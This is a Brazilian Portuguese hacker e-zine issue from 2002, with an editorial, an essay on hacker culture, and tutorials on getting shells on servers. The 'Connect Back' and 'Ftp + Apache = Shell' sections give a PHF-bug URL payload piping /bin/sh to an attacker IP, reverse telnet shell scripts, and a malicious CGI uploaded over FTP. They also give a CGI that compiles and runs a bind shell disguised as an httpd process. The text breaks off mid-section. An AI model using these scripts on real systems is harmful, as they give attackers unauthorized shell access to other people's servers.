
        Breaking The Head [Edicao 03] - by hophet 




                                      `
                                       $
                                        $$
                                         $$$
                                          $$a       '
       .a$$$$$$!a.   a$$$$$$$$$$$$$$$$$a  !$$      $
     a$$$a$$$$$$!1a  `$$$$$$$$$$$$$$$$$'  $$$     $$
    $$$$$a$$$   $$$         $$$$$         $$$    $$$
   $$$'  a$$$   $$'         $$$$$         $$$    $$$
  $$$$   a$$$   $$          `$$$'         $$$    $$$
   $$$a  a$$$$$$$            $$$          $$$    $$$
    $$a  a$$$$$$$$.          $$$          $$$$$$$$$$
     `a  a$$$   $$a         .$$$.         $$$$$$$$$$
      ;  a$$$   $$$         $$$$$         $$$    $$$
         a$$$   1!'          $$$$         $$$    $$$
         a$$$$$$!'            $$$         $$$    $$$
         a!$$$$               `$a          $$    $$$$
        $$$$$                   @           $    `$$$$
       $$$                      ;           ;       $$$
      $$                                              $$
     $                                                  $
    '           http://hophet.virtualave.net/            '
                     http://bth.host.sk/
 







                    (Breaking The  Head) 
                    (Quebrando a Cabeca)
 
                 






        --- bth:  Breaking The Head
        --- edicao: 03
        --- data: 20.03.02
        --- founder: hophet
        --- email: hophet@yahoo.com.br
        --- canal: #breaking - irc.othersideirc.net










--- Onde Conseguir a "bth":

- Distribuidores Oficiais

http://bth.host.sk/
http://hophet.virtualave.net/


- Outros Distribuidores

Cd-Rom da Revista Pc-Master
http://4x10m4.vila.bol.com.br/
http://www.txt.org/


PS.: Se voce quizer distribuir a E-Zine Bth, em seu, ftp, http, ou o
que for, fique avontade, entre em contato conosco, para colocarmos o 
link acima. Obrigado!










--- Escritores da Edicao:


Nome  : Gustavo Chagas Pereira (founder)
Nick  : hophet 
Email : hophet@yahoo.com.br 

Nome  : Vilson V. S.  
Nick  : EvilLord
Email : evil@inferno.com

Nome  : ---
Nick  : r0ot
Email : rootfloyd@yahoo.com.br







                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$         [00] - Topicos              $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;




Conteudo:                                           Autores:

[00] - Topicos                               ---    " hophet       "
[01] - Introducao                            ---    " hophet       "
[02] - Algo a dizer                          ---    " hophet       "
[03] - Cultura hacker                        ---    " hophet       "
[04] - Connect Back                          ---    " hophet       " 
[05] - Ftp + Apache = Shell                  ---    " hophet       "
[06] - Race Condition em Suid Programs       ---    " hophet       "
[07] - Worms e o Linux                       ---    " hophet       "
[08] - Recuperacao de Arquivos               ---    " hophet       "
[09] - LIDS                                  ---    " EviLord      "
[10] - Beige Box Local e Remota              ---    " r0ot         " 
[11] - Esclarecimentos                       ---    " hophet       "
[12] - end of file                           ---    " hophet       "










                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$        [01] - Introducao            $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;




"Se eu for ligar pro que eh que vao falar nao faco nada!"
- CI
"A imaginacao eh mais importante que o conhecimento"
- Albert Einsten


 /* 
  * Para extrair os codes da edicao siga os passos:
  *
  * [localhost:/root]# gcc extract.c -o extract
  * [localhost:/root]# ./extract bth03.txt 
  *
  */
 

E aih? Demorou um pouco mas saiu a 4a edicao da E-zine Bth, que ate 
agora pra min foi uma das mais completas e elaboradas, nao menospre_
zando as anteriores,mas provando o que falamos no inicio,que a cada
edicao iriamos melhorar mais em tudo.

Aih, agora as edicoes infeslimente vao demorar mais um  pouco ainda  
pra serem lancadas. Eh que estou em um novo trabalho que vai exigir
ainda mais de min! Alem da escola e etc! Vai Demorar um pouco  mais
mas vai sair.

Por alguns problemas no antigo servidor de hospedagem da pagina da 
E-zine, resolvi colocar a pagina em um outro servidor, que agora e
definitivamente eh a pagina oficial e principal  da  E-zine Bth, o 
endereco eh:  http://hophet.virtualave.net/ e http://bth.host.sk. 

Temos agora um dos melhores WebMaster's do brasil contribuindo com
a E-zine Bth, ele eh conhecido como EvilLord. Agora a page da  bth
nao vai ter soh conteudo como ateh agora mas conteudo e design bun
ito! :). O novo design esta na seguinte pagina: http://bth.host.sk
Confiram ;D
 
Mandem suas materias, aqui voce tem espaco pra mostrar suas ideias 
e pensamentos, fique avontade em ajudar o E-zine poque seram bem-
vindas  as  materias e ajudas. Mandem  suas  sugestoes ,  criticas   
construtivas, enfim falem o que tao achando e onde pode melhorar. 

Bem acho que tudo que tinha pra falar esta aih, tirem bom proveito
das materias, espero que gostem, nao gostou? que pena, fazer o que 
neh, nem Jesus conseguiu agradar a todos. ;)


"Esteja preparado, porque quando tiver que dechar esta carneficina
 em que vive, onde temos que matar pra sobreviver,a unica coisa que
 pode  levar  com  voce eh  a sabedoria que adquiriu, o resto? nada 
 nunca  foi  seu,  nem sera. Ateh  esta caixa  aih em que voce vive 
 chamada corpo, vai voltar a terra. Que possamos ao menos continuar 
 vivos" 
 - hophet









                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$        [02] - Algo a dizer          $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;




 Esta Secao Contem as exigencias para se ter Materias
 publicadas na E-Zine Bth, alem de esclarecer algumas
 coisas.

 hophet@yahoo.com.br


Aqui serao apresentadas algumas exigencias para que pessoas intere_
cadas em ajudar a bth, venha a realizer isto. Isto se faz necessario 
para que o trabalho ocorra com organizacao e venha a crescer cada vez 
mais, nao estava com o pensamento do fazer ou ditar regras, visto que 
o unico que estava escrevendo a zine era eu, agora que a coisa esta 
aumentando, e varias pessoas ja estao contribuindo com a zine, decidi 
fazer este txt esclarecendo algumas coisas que ajudam e melhoram o 
nosso trabalho. Sao elas:

1a - Como o objetivo Principal da zine eh trazer novas informacoes,
     nao serao aceitos materias com conteudo "antiquado", ou sem
     valor para a comunidade, as materias deveram conter uma lingua_
     gem clara e facil de entender, alem de conteudos novos e impor_
     tantes para a comunidade. 

2a - As materias nao poderao ter linhas que ultrapassem a desse txt,
     ou seja, para uma boa leitura pelos leitores, as materias deve_
     rao ser organizados "esteticamente", com linhas curtas como estas
     deste txt. 75 Caractreres por linha.

3a - Nao serao aceitas contribuicoes de Script Kiddies(Pessoas que 
     Mudam HP, ou pessoas que visam somente a FAMA, alem de cometerem 
     outros muitos Atos Skiddies). Os mesmos serao barrados.

4a - As materias que sairem na zine, nao poderam estar em nenhum lugar
     anteriormente a publicacao da edicao em foco. Se assim acontecer
     as mesmas serao barradas. Soh podendo sair em outros meios de in_
     formacao apos a publicacao da zine, mantendo os devidos creditos.
     Isto se faz necessario para que as materias sejam "exclusivas"
     mantendo o objetivo da E-Zine, que eh de trazer informacoes novas 
     a comunidade e nao repetilas. 

5a - Todas as materias serao avaliadas pelos editores da zine, serah
     checada a veracidade como tambem a funcionalidade das materias. 

6a - Eh aceita a contribuicao de qualquer induviduo que esteja intere_
     cado em ajudar a zine, desde que ele siga e aprove a liberdade de
     informacao e etica, alem das exigencias acima. 


Todas essas "exigencias" visam somente aumentar o nivel da informacao 
que ira chegar aos leitores, alem de facilitar o trabalho dos editores 
da E-zine, comprovando que toda a informacao que chegar a vos, seja de 
qualidade e nova.

Um grande Abraco!

hophet.
     








                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$     [03] - Cultura hacker           $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;






O que voce sabe sobre a cultura hacker?! Sera que hackers sao realmente 
aquilo que as revistas, jornais, televisao, ou seja, a  midia  em geral 
mostra?! O que acontece eh uma tremenda  desinformacao, por  parte  dos 
mesmos,  que  apenas  repetem  o  que  chega ate eles, sem ao menos uma 
pesquiza mais detalhada sobre o assunto! E acabam  passando  uma imagem
errada da realidade!

Algumas  partes  dessa  materia  foi baseada  no Hacker-HOWTO, que voce 
encontra em: 
http://www.ccil.org/~esr/faqs/hacker-howto.html
Ele foi escrito orinalmente por Eric S. Raymond.


O que eh um hacker?

O Jargon File(http://www.ccil.org/jargon) contem um monte de definicoes
do termo "hacker", a maioria  delas  tem  a ver com a aptidao tecnica e 
um prazer em resolver problemas e superar limites. O termo existe desde
o tempo da ARPAnet,  eles construiram  a base pra tudo que existe hoje.

A pessoas que aplicam a atitude hacker em outras coisas como eletronica
ou  musica,  na verdade,  voce pode encontrala nos niveis mais altos de  
qualquer ciencia ou arte.

O termo eh muitas das vezes mau utilizado, por parte da midia mau infor_
mada, onde atribuem atos de vandalos, ou algo parecido a hackers. O que
deveria ser atribuido a crackers.
A  diferenca   basica eh   esta:  hackers  constroem coisas, crackers as 
destroem.


A atitude hacker

Hackers resolvem problemas e constroem coisas, e acreditam na liberdade
e na ajuda mutua voluntaria. Para ser aceito como tal voce  tem  que se 
comportar de acordo com essa atitude. E para se comportar de acordo com
com essa atitude, voce tem que realmente acreditar nessa atitude.

Basicamente se baseie nisto:

1 - O mundo  esta  cheio  de problemas fascinantes esperando para serem 
resolvidos.

2 - Nao se deve resolver o mesmo problema duas vezes.

3 - Tedio e trabalho repetitivo sao nocivos.

4 - Liberdade eh uma coisa muito boa, se nao for vital.

5 - Atitude nao substitui competencia. Use sua Inteligencia.

Coisas Interessantes a se fazer:

1 - Escrever codigos e publicalos.

2 - Testar e depurar codigos eh interessante.

3 - Publique informacao util.

4 - Ajude sempre no que puder. Seja um voluntario. ;) 

5 - Sirva a cultura.


Antigamente

Antigamente eramos movidos, pelo menos a maioria por motivos e impulsos,
muitas das vezes incontrolaveis por aporte de  conhecimente e isso fazia 
com que as pessoas deste "ramo", realizassem proezas. Seguiamos e lutava
mos por essa cultura e passavamos isso a frente, pra quem quizesse ouvir
nunca impondo nada a ninguem apenas mostrando  a  verdade. Os "caras" de  
antigamente viviam isso, e eram movidos por essa cultura  e acredito que 
morreriam se necessario  a defendendo.  Pra eles  era um estilo de vida,
como o religioso o skatista ou qualquer outra "cultura" que possa existi.
Eles realmente tinham uma a "atitude hacker" da qual comentamos acima.


A Realidade Atual

Eh  totalmente  diferente da  de  "antigamente", sim sao outros tempos e 
pessoas , mas  a  cultura  que  existia era tao insignificante assim pra
ser esquecida?! Acredito que nao. Hoje o que existe  eh  uma  comunidade 
sem impulsos ou seria uma comunidade perquicosa?! Sim,  eh  uma  geracao
acomodada, que tem seu pensamento focado em somente "sugar" e nao  produ
zir nada. Pessoas que esqueceram a origem disso tudo , que so  pensam em 
subir nas  costas  dos  outros, elas pensam que agora tudo eh permitido.
Nao  estou  generalizando , mas  esta  eh a realidade da grande maioria,
mas  ainda  existem  pessoas  interesadas  em disseminar a liberdade , e
ajudar a comunidade crescer.A "atitude hacker" vai muito alem disso tudo
e ela vai continuar no cume, mesmos com tantas flechas em sua direcao. 
Acredito  que  esse  "momento"  vai passar e tudo serah como antes, pelo 
menos sonho com isso. Meus amigos,  atitude. Voce nao preciza ler ou con
cordar com isso, mas eh aqui que exponho minhas ideias. 










                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$      [04] - Connect Back            $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;






* Indice

1 - Introducao.
2 - Connect Back.




----------------
 1 - Introducao |
---------------- 

Venho mais uma vez aqui, neste real ou irreal mundo dos computa_
dores, mostrar que nada realmente eh capaz de nos parar, e que 
tudo eh possivel neste mundo em que vivemos, o virtual. Ja vimos 
por aih alguns esquemas de FTP+alguma_coisa=shell, eu neste txt 
vou exemplificar mais uma maneira, a de se conseguir shell com 
FTP+Apache, e ainda maneiras possiveis de se realizar um Telnet 
reverso ou Connect Back como preferir. Sao infinitas as possibi_
lidades, falarei de algumas delas. Hoje o FTP eh muito utilizado
e muitos usuarios tem acesso aos mesmos, como hoje tb os adm's 
estao fechando a maioria dos servicos e deixando somente o que
lhes eh necesario muitas vezes vc ate consegui um user valido
e uma senha, mas nao tem como alcansar uma shell, por nao ter 
servicos que o permitem a isso, este txt tambem irah mostrar
como tirar proveito dessa situacao e alcansar uma tao almejada
shell atravez de esquemas com ftp+servidoresWeb. Vamos ver 
primeiramente o conceito de Connect Back.



------------------
 2 - Connect Back |
------------------

O Connect Back eh basicamente, um canal de comunicacao que se
origina no sistema alvo, e nao no sistema do fucador/atacante,
assim se vc estivesse em algum alvo, que estivesse de todas as 
formas fechado a conexao de sua maquina, ou com algum programa
de filtragem, o que nos impediria de usar backdoors normais, vc 
poderia criar uma conexao do alvo para a sua maquina, assim o 
acesso seria considerado normal pelo alvo.

Para a pratica desta tecnica, precizaremos do NetCat o nc, vc
pode pegualo em:

http://www.l0pht.com/~weld/netcat/

Como iremos realizar um telnet reverso teremos que ter ouvidores
nc para que o alvo possa conectar-se a nos, ou seja, precisamos
abrir portas. Abra duas tty's(terminais) e faca o seguinte em 
cada uma respectivamente:

tty1:

$ ./nc -l -n -v -p 20000 

No caso a porta aqui eh a 20000.

tty2:

$ ./nc -l -n -v -p 20001

Aqui eh a porta 20001.


Antigamente com o PHF bug:
--------------------------

Antigamente erah possivel atraves de uma exploracao, executar 
comandos em servidores que estivessem vulneraveis a PHF bug, o
esquema erah o de atraves do navegador realizar comandos no 
sistema como o seguinte:

http://alvo.com/cgi-bin/phf?Qalias=x%0a/usr/bin/cat%20/etc/passwd

Com isso a saida no navegador seria o arquivo "/etc/passwd"
do servidor alvo, jogando a seguinte linha "/bin/telnet 
SEU_IP PORTA1 | /bin/sh | /bin/telnet SEU_IP PORTA2" para
que ela seja usado no PHF bug, teriamos entao uma shell,
que no caso se consolidaria em um Telnet Reverso. Veja:

/cgi-bin/phf?Qalias=x%0a/bin/telnet%20"SEU_IP"%20"PORTA1"%20
|%20/bin/sh%20|%20/bin/telnet%20"SEU_IP"%20"PORTA2"

Com as portas ouvindos, agora entao teriamos nossa shell,
simplesmente explorando esta falha. Mas isto eh antigo e 
nao existe mais, a nao ser que exista um servidor extremamente
desatualizado por aih, mas serve bem para ilustrarmos como
funciona o telnet reverso. 


CONNECT BACK em uma SHELL:
--------------------------

Com os ouvidores netcat ativados e escutando nas respectivas 
portas, vamos agora fazer um teste simples com um script que 
connect na nossa maquina. Veja o script:


<++> connectback/TR_shell.sh

#!/bin/sh

# Por hophet 
# hophet@yahoo.com.br 
# http://hophet.virtualave.net/

echo
echo "Iniciando o Telnet Reverso..."
echo 

# Sintese:
# telnet SEU_IP PORTA1 | /bin/SHELL | telnet SEU_IP PORTA2

/bin/telnet 127.0.0.1 20000 | /bin/sh | /bin/telnet 127.0.0.1 20001

# eof 

<-->

O que vai acontecer eh que o alvo irah conectar ao IP(no caso 
127.0.0.1) e executar uma shell, os camandos irah ser executados
na tty1(porta 20000), e o resultado dos comandos serao visualiza_
dos na tty2(porta 20001). Pronto, agora com o netcat ouvindo e 
o script feito vamos executalo e assim realizaremos um telnet  
reverso, veja:


# ./TR_shell.sh

Iniciando o Telnet Reverso...

Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Agora na tty1:

listening on [any] 20000 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1029
id
exit

Na tty2 temos os resultados:

listening on [any] 20001 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1030
uid=0(root) gid=0(root) grupo=0(root)


Vemos que ele se conecta a nossa maquina e executa a shell na 
primeira porta e canaliza a saida para outra porta.
Com o exit acima se fechou o script do alvo. Este exemplo 
mostra bem como fariamos um TR(Telnet Reverso) tendo uma shell,
e quando nao temos uma shell?? Eh o que mais importa, e daqui para
frente veremos esquemas uteis para realmente conseguir shell usando-
se de Connect Back e afins. Vamos proseguir com os esquemas...











                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$  [05] - Ftp + Apache = Shell        $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;




* Indice 

1 - Ftp + Apache = Shell
2 - Terminando




--------------------------
 1 - Ftp + Apache = Shell |
--------------------------

Hoje eh muito grande o numero de servidores de ftp, e servidores
que permitem que usuarios tenham um certo poder nos mesmos, eu
mesmo, ja descrevi varios esquemas possiveis de se conseguir shell
atraves destes principios e "poderes", e com certeza existem muitos
outros. Nesta pequena secao descreverei um metodo, que se vc tem 
um certo poder num server de ftp, e nao tem uma shell, conseguila
atraves de um server Apache mais uma implementacao de Telnet Rever_
so em CGI's. Vamos lah...

Seguindo o mesmo esquema do exemplo anterior, abra os ouvidores:


tty1:

$ ./nc -l -n -v -p 20000 

No caso a porta aqui eh a 20000.

tty2:

$ ./nc -l -n -v -p 20001

Aqui eh a porta 20001.


Vamos ver um exemplo de um simples CGI no Apache:


<++> connectback/test-cgi 

#!/bin/sh

# disable filename globbing
set -f

echo Content-type: text/plain
echo

echo CGI/1.0 test script report:
echo

echo argc is $#. argv is "$*".
echo

echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT"
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = "$QUERY_STRING"
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH

<-->

Com isso temos uma pequena base para a construcao do nosso
script para o Connect Back. Vamos criar o nosso Script entao,
ele irah ser como um cgi, mas qdo o abrirmos no navegador 
ele irah executar comandos dentro do sistema, assim executa_
ndo o TR(Telnet Reverso). Veja:


<++> connectback/TR_apache_cgi

#!/bin/sh

# disable filename globbing
set -f

echo Content-type: text/plain
echo

echo CGI/1.0 test script report:
echo

echo argc is $#. argv is "$*".
echo

# Use:
# telnet SEU_IP PORTA1 | /bin/SHELL | telnet SEU_IP PORTA2

/bin/telnet 127.0.0.1 20000  | /bin/sh | /bin/telnet 127.0.0.1 20001

# eof

<-->

Pronto o nosso CGI para o TR, estah pronto, agora vamos usar de nossa
conta FTP, para mandarmos o TR_apache_cgi para o servidor alvo. Veja:


$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 localhost.localdomain FTP server, ready.
Name (127.0.0.1:hophet): hophet
331 Password required for hophet.
Password:
230 User hophet logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> cd /var/lib/apache/cgi-bin

250 CWD command successful.

ftp> ls

200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 20
drwxr-xr-x   2 root     root         4096 Nov  5 15:40 .
drwxr-xr-x  13 root     root         4096 Sep 14 21:26 ..
-rw-r--r--   1 root     root          120 Aug 26  1999 printenv
-rw-r--r--   1 root     root          757 Aug 26  1999 test-cgi
226 Transfer complete.

ftp> put /home/hophet/TR_apache_cgi ./TR_apache_cgi

local: /home/hophet/TR_apache_cgi remote: ./TR_apache_cgi
200 PORT command successful.
150 Opening BINARY mode data connection for ./TR_apache_cgi
226 Transfer complete.
304 bytes sent in 0.00468 secs (63 Kbytes/sec)

ftp> chmod 777 TR_apache_cgi

200 CHMOD command successful.

ftp> ls

200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 24
drwxr-xr-x   2 root     root         4096 Nov  5 15:48 .
drwxr-xr-x  13 root     root         4096 Sep 14 21:26 ..
-rwxrwxrwx   1 root     root          304 Nov  5 15:48 TR_apache_cgi
-rw-r--r--   1 root     root          120 Aug 26  1999 printenv
-rw-r--r--   1 root     root          757 Aug 26  1999 test-cgi
226 Transfer complete.

ftp> exit

221-You have transferred 304 bytes in 1 files.
221-Total traffic for this session was 8304 bytes in 8 transfers.
221-Thank you for using the FTP service on localhost.localdomain.
221 Goodbye.
$


O que eu fiz foi entrar no diretorio dos cgi's do Apache e baixar
para lah o nosso cgi que executarah o Telnet Reverso, mudar as permis_
soes para que ele seja um executavel, e sair forah..., agora como sabe_
mos o nosso cgi estah no diretorio "/var/lib/apache/cgi-bin",mas preste 
atencao porque o diretorio do Apache pode mudar dependendo do sistema,
mas a maioria nao.

Agora com um navegador vamos executar o nosso cgi, faca o seguinte:

$ links http://127.0.0.1/cgi-bin/TR_apache_cgi

ou 

$ lynx http://127.0.0.1/cgi-bin/TR_apache_cgi

Com isso o ato estarah consumado, e a shell estarah a nosso 
dispor, na tty1, e os resultados como anteriormente na tty2. 
O resultado no navegador deverah ser algo como:


CGI/1.0 test script report:

argc is 0. argv is .

Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.


Como vimos realmente funciona. Mas isto vai alem do TR, podemos 
atraves disto fazer muitas coisas afim de conseguir uma shell. 
Vamos a mais um exemplo.


FTP + APACHE = BINDANDO SHELLs:
-------------------------------

Vou mostrar rapidamente um esquema muito eficaz para se obter 
uma shell, mas em vez se usar um cgi com um TR, vamos fazer um 
cgi/shell_script para criar, compilar e executar uma bindshell 
em uma determinada porta.

O cgi/shellscript eh o sequinte, Veja:


<++> connectback/bindshell_apachecgi

#!/bin/sh

# Por hophet  - hophet@yahoo.com.br -
# http://hophet.virtualave.net/
# Este shell Script vai ser usado para nos ajudar
# a obter uma shell em servidores com acesso FTP
# e que rodam servidores WEB como Apache.

echo 
echo "Iniciando o Trabalho..."
echo "Construindo Bind Shell..."
echo

# Este eh o Bind Shell

/usr/bin/cat << _EOF_ >> /tmp/bind.c

/*
 * Modificado por Hophet
 * 
 * w2x vive em nossos coracoes !!! *
 *
 * Nome: w2xbind.c
 *
 * Descricao: Esta eh uma bindshell em modo interativo
 * e com um prompt bunitu:D, e camuflada em um processo
 * httpd, e nao precisa do ";" no final dos comandos:)
 *
 * Use: # gcc w2xbind.c -o w2xbind
 *      # ./w2xbind
 * 
 * Pra roota agora faca:
 * $ telnet <host> 32775
 * ...
 * # aeeeeee
 * 
 */


#define PORT 32775
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; 
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{ 
    int i;
    for(i=0;i<argc;i++) {
      memset(argv[i],'\x0',strlen(argv[i]));
    };
    strcpy(argv[0],"[httpd]");

    soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    if (soc_des == -1) 
        exit(-1); 
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET; 
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);
    soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
    if (soc_rc != 0) 
        exit(-1); 
    if (fork() != 0) 
        exit(0); 
    setpgrp();  
    signal(SIGHUP, SIG_IGN); 
    if (fork() != 0) 
        exit(0); 
    soc_rc = listen(soc_des, 5);
    if (soc_rc != 0) 
        exit(0); 
    while (1) { 
        soc_len = sizeof(client_addr);
        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
        if (soc_cli < 0) 
            exit(0); 
        cli_pid = getpid(); 
        server_pid = fork(); 
        if (server_pid != 0) { 
            dup2(soc_cli,0); 
            dup2(soc_cli,1); 
            dup2(soc_cli,2);
            /* execl("/bin/sh","sh",(char *)0); */
            system("/bin/sh -i");
            close(soc_cli); 
            exit(0); 
        } 
    close(soc_cli);
    }
}

_EOF_

echo "Compilando Bind Shell..."

/usr/bin/gcc -o /tmp/bind /tmp/bind.c

/bin/rm /tmp/bind.c

echo "Bind Shell Compilado com sucesso"

/tmp/bind

echo
echo "Bind Shell executada..."
echo "Shell bindada a porta 32775 do host alvo" 
echo "Use: telnet www.alvo.com 32775, para se conectar"
echo "Finalizando..."
echo "http://hophet.virtualave.net/"
echo 

# EOF

<-->

Agora vamos colocalo no mesmo lugar do script anterior, 
"/var/lib/apache/cgi-bin" e setarmos como executavel da mesma
forma no FTP, feito todo o trabalho, o executamos com um na_
vegador:

